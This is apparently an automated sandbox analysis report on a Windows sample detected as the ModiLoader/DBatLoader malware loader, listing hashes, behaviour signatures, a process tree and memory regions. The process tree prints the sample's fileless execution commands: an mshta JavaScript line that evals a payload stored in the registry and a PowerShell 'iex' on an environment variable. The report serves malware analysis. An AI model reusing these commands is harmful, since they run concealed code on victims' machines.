Analysis

  • max time kernel
    145s
  • max time network
    101s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-05-2024 15:06

General

  • Target

    183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe

  • Size

    272KB

  • MD5

    183da5248aa31d95f9462a9b49c50b36

  • SHA1

    1a5c4156d21bd2d0e4fb9fd8cabe362411970da6

  • SHA256

    252f271550eb6a0ec533597feb9d63f5ef308388935a4734159b1d60ec0c878e

  • SHA512

    15c9457e2783e46ff0c0689d2b5a2663a10841c04221587679d5d48be702eef0e51c28e1a34ea1ec3527b52eecd5ba8d1dcaa85b81b0a846dc8642fcf53e1be1

  • SSDEEP

    6144:JKz24ZvSmqKYg1OuevkGD7ALodyLUwICvEr:cdvWUo5XvkUIvEr

Score
10/10

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ModiLoader Second Stage 10 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2124
    • C:\Users\Admin\AppData\Local\Temp\183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\183da5248aa31d95f9462a9b49c50b36_JaffaCakes118.exe"
      2⤵
        PID:4908
    • C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" javascript:SLXp58v="TNvv7Q4";t3C8=new%20ActiveXObject("WScript.Shell");cU2ai="xEkfOZ";D8SnO=t3C8.RegRead("HKLM\\software\\Wow6432Node\\JoCuqBt1I\\VvwOn0Rh8");GG1JXu5="42oXN";eval(D8SnO);Tu0ZNC1LQ="SUq";
      1⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:1680
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:bxmapity
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:944

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jtj2hegb.nwc.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/944-14-0x0000000005140000-0x0000000005176000-memory.dmp

      Filesize

      216KB

    • memory/944-18-0x0000000005FD0000-0x0000000006036000-memory.dmp

      Filesize

      408KB

    • memory/944-31-0x0000000007E50000-0x00000000084CA000-memory.dmp

      Filesize

      6.5MB

    • memory/944-29-0x0000000006520000-0x000000000653E000-memory.dmp

      Filesize

      120KB

    • memory/944-28-0x0000000006040000-0x0000000006394000-memory.dmp

      Filesize

      3.3MB

    • memory/944-17-0x0000000005F60000-0x0000000005FC6000-memory.dmp

      Filesize

      408KB

    • memory/944-16-0x0000000005760000-0x0000000005782000-memory.dmp

      Filesize

      136KB

    • memory/944-15-0x00000000057C0000-0x0000000005DE8000-memory.dmp

      Filesize

      6.2MB

    • memory/944-32-0x0000000006A10000-0x0000000006A2A000-memory.dmp

      Filesize

      104KB

    • memory/944-30-0x0000000006540000-0x000000000658C000-memory.dmp

      Filesize

      304KB

    • memory/4908-11-0x0000000000A70000-0x0000000000B46000-memory.dmp

      Filesize

      856KB

    • memory/4908-7-0x0000000000A70000-0x0000000000B46000-memory.dmp

      Filesize

      856KB

    • memory/4908-9-0x0000000000A70000-0x0000000000B46000-memory.dmp

      Filesize

      856KB

    • memory/4908-5-0x0000000000400000-0x000000000043A000-memory.dmp

      Filesize

      232KB

    • memory/4908-4-0x0000000000400000-0x000000000043A000-memory.dmp

      Filesize

      232KB

    • memory/4908-8-0x0000000000A70000-0x0000000000B46000-memory.dmp

      Filesize

      856KB

    • memory/4908-10-0x0000000000A70000-0x0000000000B46000-memory.dmp

      Filesize

      856KB

    • memory/4908-2-0x0000000000400000-0x000000000043A000-memory.dmp

      Filesize

      232KB

    • memory/4908-6-0x0000000000A70000-0x0000000000B46000-memory.dmp

      Filesize

      856KB

    • memory/4908-12-0x0000000000A70000-0x0000000000B46000-memory.dmp

      Filesize

      856KB